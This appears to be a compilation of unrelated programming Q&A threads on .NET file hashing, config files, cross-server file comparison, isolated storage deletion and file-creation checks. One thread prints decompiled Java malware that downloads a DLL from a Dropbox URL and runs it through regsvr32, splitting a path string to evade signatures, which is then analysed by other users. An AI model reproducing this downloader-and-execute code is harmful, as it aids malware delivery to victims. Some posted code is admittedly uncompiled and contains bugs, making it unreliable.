I have a couple of tools that are initialized as a process by my .NET application. Some of them are from third parties. The list of tools to start is configurable. I want to protect the system against executing (maliciously) modified tools.
Assumption and possible attack vectors
I assume my application is protected by the operating system, including its configuration file. The folders containing the tools to be started are not though. Meaning an attacker could theoretically replace any of the tools with a different program bearing the same name.
Possible solution
My current concept would be to add SHA256 hashes of each tool to the config. This should prevent them from being replaced by manipulated applications, assuming my application and the configuration file containing the list is protected.
Implementation example
Config file example:
<FileHashes>
<Hashes>
<add Filename="the-tool.exe" Hash="87BC21C157F7B3E4..." />
</Hashes>
</FileHashes>
Application example:
public void Execute(FileInfo fileToLoad)
{
var hashDictionary = LoadHashDictionary(); //load hash from config
if (!hashDictionary.TryGetValue(fileToLoad.Name, out string configFileHash))
{
throw new Exception("Unknown file");
}
var fileHash = GetFileHash(fileToLoad);
if (!configFileHash.ToUpperInvariant().Equals(fileHash))
{
throw new Exception("File is manipulated");
}
Process.Start(new ProcessStartInfo()
{
FileName = fileToLoad.FullName
});
}
public string GetFileHash(FileInfo fileToLoad)
{
using (var fileStream = new FileStream(fileToLoad.FullName, FileMode.Open))
{
using (var shaHash = SHA256.Create())
{
fileStream.Position = 0;
byte[] hasValue = shaHash.ComputeHash(fileStream);
return BitConverter.ToString(hasValue)
.Replace("-", string.Empty)
.ToUpperInvariant();
}
}
}
Questions
Are there better ways to protect against manipulated files on application level?
Assuming the configuration file isn't safe, as it is also placed in a folder that can theoretically be accessed by an attacker. Where could I place the application whitelist and the hashes?
As you said. Confg file isn't safe either. Malicious application can modify your tools + config files all together to mask itself.
Whats an easy way to prevent this? Code signing.
Simply sign all your tools and do a certificate verification before you start your tool from main app.
Related
I have a class library which by default doesn't have an app.config. The calling app for this library is "explorer.exe" and I won't be able to use explorer.exe.config to add my settings.
Is there any way I can have my class library read an app.config? It needs to be an app.config because I intend on encrypting it during deployment using aspnet_regiis (I'll rename it web.config, encrypt it and rename it back to app.config).
In C# the only config that matters really is the app.config of the output project. In the case of a console app this will be the .exe config. Which will appear in the bin as {your app name}.exe.config.
You can read this file using the ConfigurationManager in the System.Configuration DLL. All the uses of this will point to the executing code's configuration file, even in a class library. So any additional configuration needed in an imported class library will need to be added to this file. This is the canonical way of dealing with config.
If you really want to have some other configuration file, you can use:
ConfigurationManager.OpenMappedExeConfiguration(
new ExeConfigurationFileMap
{
ExeConfigFilename = overrideConfigFileName
},
ConfigurationUserLevel.None)
Where overrideConfigFileName points to your other app.config file. You can set the file in the class library as Content and ensure it is copied into the output directory at build time. Then you will have to ensure that it is included in the final deploy package and all the paths match.
In the end (as per #Stand__Sure and #tigerswithguitars I created a new project within my solution which will be a console App. It will be executed at deployment.
Thanks to Stand__Sure for his link to https://learn.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection
The console app does the following:
private static void Run()
{
try
{
// Get unencrypted data from Settings.dat
string[] unencrypted = File.ReadAllLines("C:\\Program Files (x86)\\theAPPSettings\\Settings.dat");
string unencryptedGuid = unencrypted[0]; //its only 1 setting that I'm interested in
// Create a file.
FileStream fStream = new FileStream("C:\\Program Files (x86)\\theAPPSettings\\ProtectedSettings.dat", FileMode.OpenOrCreate);
byte[] toEncrypt = UnicodeEncoding.ASCII.GetBytes(unencryptedGuid);
byte[] entropy = UnicodeEncoding.ASCII.GetBytes("A Shared Phrase between the encryption and decryption");
// Encrypt a copy of the data to the stream.
int bytesWritten = Protection.EncryptDataToStream(toEncrypt, entropy, DataProtectionScope.CurrentUser, fStream);
fStream.Close();
File.Delete("C:\\Program Files (x86)\\theAPPSettings\\Settings.dat");
//Console.ReadKey();
}
catch (Exception e)
{
Console.WriteLine("ERROR: " + e.Message);
}
}
The calling app decrypts it as follows:
FileStream fStream = new FileStream("C:\\Program Files (x86)\\theAPPSettings\\ProtectedSettings.dat", FileMode.Open);
byte[] entropy = UnicodeEncoding.ASCII.GetBytes("A Shared Phrase between the encryption and decryption");
// Read from the stream and decrypt the data.
byte[] decryptData = Protection.DecryptDataFromStream(entropy, DataProtectionScope.CurrentUser, fStream, Length_of_Stream);
fStream.Close();
string temp = UnicodeEncoding.ASCII.GetString(decryptData);
Warning:
DO NOT EXECUTE THIS CODE ON ANY MACHINE. IT COULD BE A MALICIOUS CODE
Hi,
I got a file on fb, from someone which obviously looked like a virus. So I downloaded it happy that I am not on Windows.
I scanned it on virustotal, and it said this file was just scanned sometime ago meaning this file has been circulating a while. I scanned it still and virustotal says its clean.
So its Zip file, with a jar file and when I decompiled the .class file in jar file to java code, it had hardcoded strings to C:\ drive and a dropbox url to download a dat file. Then uses regsvr to do some registry level changes.
So, on that note it was nicely concealed with an innocent jar file. But even the downloaded module.dat file looks to virus free according to virustotal
Manifest File:
Manifest-Version: 1.0
Created-By: 1.7.0_45 (Oracle Corporation)
Main-Class: IMG_00045
But can someone explain what this code does exactly ? before moving down to code..
The dat file seems to be having this :
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
public class IMG_00045
{
public static void main(String[] paramArrayOfString)
throws Exception
{
String str1 = "C:\\T";
str1 = str1.concat("emp");
File localFile1 = new File(str1);
localFile1.mkdir();
File localFile2 = new File("C:\\Temp\\asdfr1.dat");
if (localFile2.exists())
{
proc();
} else {
String str2 = "http://dl.dropboxusercontent.com/s/4w59212euubbjd8/module.dat?dl=1";
String str3 = "C:\\Temp\\asdfr1.dat";
dl(str2, str3);
}
}
public static void proc()
throws IOException
{
int i = 1;
while (i < 7)
{
bala();
i++;
}
}
public static void bala()
throws IOException
{
String[] arrayOfString = { "regsvr32", "/s", "C:\\Temp\\asdfr1.dat" };
Runtime localRuntime = Runtime.getRuntime();
Process localProcess = localRuntime.exec(arrayOfString);
}
public static void dl(String paramString1, String paramString2)
throws IOException
{
URL localURL = new URL(paramString1);
FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
byte[] arrayOfByte = new byte[250000];
InputStream localInputStream = localURL.openStream();
int i;
while ((i = localInputStream.read(arrayOfByte)) != -1)
localFileOutputStream.write(arrayOfByte, 0, i);
localInputStream.close();
localFileOutputStream.close();
proc();
}
}
Can someone explain about
What is a PE32 dll? Why has the developer create the directory using two strings? (T + emp) may be scanners check for this type of strings ? and I am not much aware of regsvr codes.. What is it doing with respect to the registry entries and the dlls involved [I have provided the link below which is an analysis of the dat file contents] (without executing it :))
I also have the dat file analysis link for someone to look into the registry, dlls, locks involved
https://malwr.com/analysis/ZjIzNDczYTA3OWUyNDY2MTkxNDBhNzI2OWY0MmEzZjM/
The code downloads a file from external dropbox account and register it in the system. The file is DLL library. The DLL is stored in C:\Temp folder.
Question: Can someone explain about What is a PE32 dll?
http://en.wikipedia.org/wiki/Portable_Executable
Question: Why has the developer create the directory using two strings? (T + emp) may be scanners check for this type of strings ?
An attacker prevents a signature detecting.
Question: What is it doing with respect to the registry entries and the dlls involved?
An attacker uses the fact that any application searches required dlls in determined order. The first location is a current folder.
The attacker scenario: user runs any application from C:\Temp folder. If the application uses methods from namesake DLL, it finds malicious DLL first and executes its code.
I also received this content yesterday and unfortunately I ran this jar file. it triggered the same attachment to persons in my contact list. I had a glance at the class file using java decompiler and found the same given above.
Its actually trying to download the DAT file and trying to register it using regsvr32. but, there is an error while registering that. I got to know when i intentionally tried to register it to know what is the key under which it would install. DLL register is not working.
But, one big problem with this virus is, it is getting transmitted to all the users in our contact list and trying to circulate itself.
As of now, the DAT file is unavailable(it is downloaded from DROPBOXUSERCONTENT.com). due to high traffic, the file access is denied now.
Solution : Try to remove the file and folder "C:\TEMP\ASDFR1.dat". File gets deleted easily, but folder deletion might not work. In that case, try to restore ur system. After that i was able to delete the folder.
Please let me know if I need to do anything more.
I have a solution that grabs two files and compares them to see if they are the same or not. The sourceFilePath and destFilePath are both on my computer, but I want to be able to use the same solution to get files if they are on a different server. I will be able to test them by setting the parameters for the sourceServer and _destServerList to localhost. How can I make the solution use the file from the relative source server?
edit: I am using localhost for testing purposes before the solution is deployed.
This my current solution:
public class blarto
{
private Server homeServer;
private string homePath;
private ServerList awayServers;
private string awayPath;
private bool ExecuteCommand()
{
if (File.Exists(awayPath))
{
GetSum(homePath);
GetSum2(awayPath);
if (GetSum != GetSum2)
{
Console.WriteLine("they are different.");
return false;
}
else
{
Console.WriteLine("they are the same.");
return true;
}
}
else
{
Console.WriteLine("The destination file does not exist.");
return false;
}
}
}
Assuming you have access to the servers, you could use a UNC path. Something like:
\\your-server-name\share\path\to\file.txt
or
\\your-server-name.domain.com\c$\path\to\file.txt
Otherwise, your web server is going to have to serve up the files. You'd have to build a small single-page web application or HTTP handler that takes a relative path, goes and looks at the appropriate place on the file system it's running on, load the file as a Stream or byte array and write it out to the response stream (with appropriate content type and length headers). IIS will need to be able to handle the MIME type of the document.
The client will have to hold onto it in memory or write it to somewhere temporarily, which may force you to rethink your CRC implementation. All of this is amazingly insecure (you could theoretically give everyone access to every file on that server).
Alternatively, you could make the root folder of the files you need to compare a virtual directory, and then allow that directory to be browsed (an IIS setting). Then something like http://localhost/root/path/to/file.txt might work, but again, not secure at all.
It sounds to me like the file is on your localhost for testing, but will be on the server once you deploy.
If that is the case, start with the relative url of the file: _srcFile = /uploads/testfile.txt;
From that, get the real location using Server.MapPath:
var testFile = Server.MapPath(_srcFile);
Note: MapPath is also defined in HttpServerUtility.
I have created an app that initially creates a database and saves some data in it.
Now I want to delete this database and its files when the user clicks on the reset button but I am getting an error – 'this is use in another process'. I want it to delete and recreate the database when click on the reset button. Any ideas?
The most frequent cause of this is ude to the thread unsafe nature of interacting with isolated storage on Windows Phone. Regardless of how you're implementing the database (be it in a file, or series of files), you're interacting with the isolated storage on some level.
I highly encourage you to read, and make sure you understand this overview of isolated storage before going too far.
You're remark:
This is in use in another process
makes me think you're using a third party library to do your database stuff. This exception/error is being thrown when the library itsself is unable to access isolated storage. Without knowing exactly how you're implementing the database, it's hard to be exactly speak to your situation.
You never "recreate IsolatedStorage", Isolated Storage is a term used to define the collection of disk space your application has access to. Much like a folder, this disk space has a root, and contains only files that you create.
In order to avoid thread exceptions when accessing Isolated Storage, make sure you use the using keyword in C# like so:
namespace IsolatedStorageExample
{
public class ISOAccess
{
// This example method will read a file inside your Isolated Storage.
public static String ReadFile(string filename)
{
string fileContents = "";
// Ideally, you should enclose this entire next section in a try/catch block since
// if there is anything wrong with below, it will crash your app.
//
// This line returns the "handle" to your Isolated Storage. The phone considers the
// entire isolated storage folder as a single "file", which is why it can be a
// little bit of a confusing name.
using(IsolatedStorageFile file = IsolatedStorageFile.GetUserStoreForAppliaction())
{
// If the file does not exist, return an empty string
if(file.Exists(filename))
{
// Obtain a stream to the file
using(IsolatedStorageFileStream stream = File.OpenFile(filename, FileMode.Open)
{
// Open a stream reader to actually read the file.
using(StreamReader reader = new StreamReader(stream))
{
fileContents = reader.ReadToEnd();
}
}
}
}
return fileContents;
}
}
}
That should help with your problem of thread safety. To be more specifically helpful toward what you want to do, take a look at the following methods (you can add this to the above class):
// BE VERY CAREFUL, running this method will delete *all* the files in isolated storage... ALL OF THEM
public static void ClearAllIsolatedStorage()
{
// get the handle to isolated storage
using(IsolatedStorageFile file = IsolatedStorageFile.GetUserStoreForApplication())
{
// Get a list of all the folders in the root directory
Queue<String> rootFolders = new Queue<String>(file.GetDirectoryNames());
// For each folder...
while(0 != rootFolders.Count)
{
string folderName = rootFolders.Dequeue();
// First, recursively delete all the files and folders inside the given folder.
// This is required, because you cannot delete a non-empty directory
DeleteFilesInFolderRecursively(file, folderName);
// Now that all of it's contents have been deleted, you can delete the directory
// itsself.
file.DeleteDirectory(rootFolders.Dequeue());
}
// And now we delete all the files in the root directory
Queue<String> rootFiles = new Queue<String>(file.GetFileNames());
while(0 != rootFiles.Count)
file.DeleteFile(rootFiles.Dequeue());
}
}
private static void DeleteFilesInFolderRecursively(IsolatedStorageFile iso, string directory)
{
// get the folders that are inside this folder
Queue<string> enclosedDirectories = new Queue<string>(iso.GetDirectoryNames(directory));
// loop through all the folders inside this folder, and recurse on all of them
while(0 != enclosedDirectories.Count)
{
string nextFolderPath = Path.Combine(directory, enclosedDirectories.Dequeue());
DeleteFilesInFolderRecursively(nextFolderPath);
}
// This string will allow you to see all the files in this folder.
string fileSearch = Path.Combine(directory, "*");
// Getting the files in this folder
Queue<string> filesInDirectory = iso.GetFileNames(fileSearch);
// Finally, deleting all the files in this folder
while(0 != filesInDirectory.Count)
{
iso.DeleteFile(filesInDirectory.Dequeue());
}
}
Another thing I highly recommend is implementing the class that accesses IsolatedStorage using a "Multithreaded Singleton Pattern" as described here.
Hope that's helpful. Code is provided "as-is", I have not compiled it, but the general concepts are all there, so if there's something amiss, read the MSDN docs to see where I goofed. But I assure you, most of this is copied from functional code of mine, so it should work properly with very little fanagaling.
I need to know if I can create a file in a specific folder, but there are too many things to check such as permissions, duplicate files, etc.
I'm looking for something like File.CanCreate(#"C:\myfolder\myfile.aaa"), but haven't found such a method.
The only thing I thought is to try to create a dummy file and check for exceptions but this is an ungly solution that also affects performance.
Do you know a better solution?
In reality, creating a dummy file isn't going to have a huge performance impact in most applications. Of course, if you have advanced permissions with create but not destroy it might get a bit hairy...
Guids are always handy for random names (to avoid conflicts) - something like:
string file = Path.Combine(dir, Guid.NewGuid().ToString() + ".tmp");
// perhaps check File.Exists(file), but it would be a long-shot...
bool canCreate;
try
{
using (File.Create(file)) { }
File.Delete(file);
canCreate = true;
}
catch
{
canCreate = false;
}
You can use CAS to verify that there are no .NET policies (caspol) restricting the creating and writing of a file on that location.
But this will not cover the windows policies. You'll have to manually check the NTFS policies. And even then there are processes that can decide you're not allowed to create a file (for instance a virus scanner).
The best and most complete way is to try it.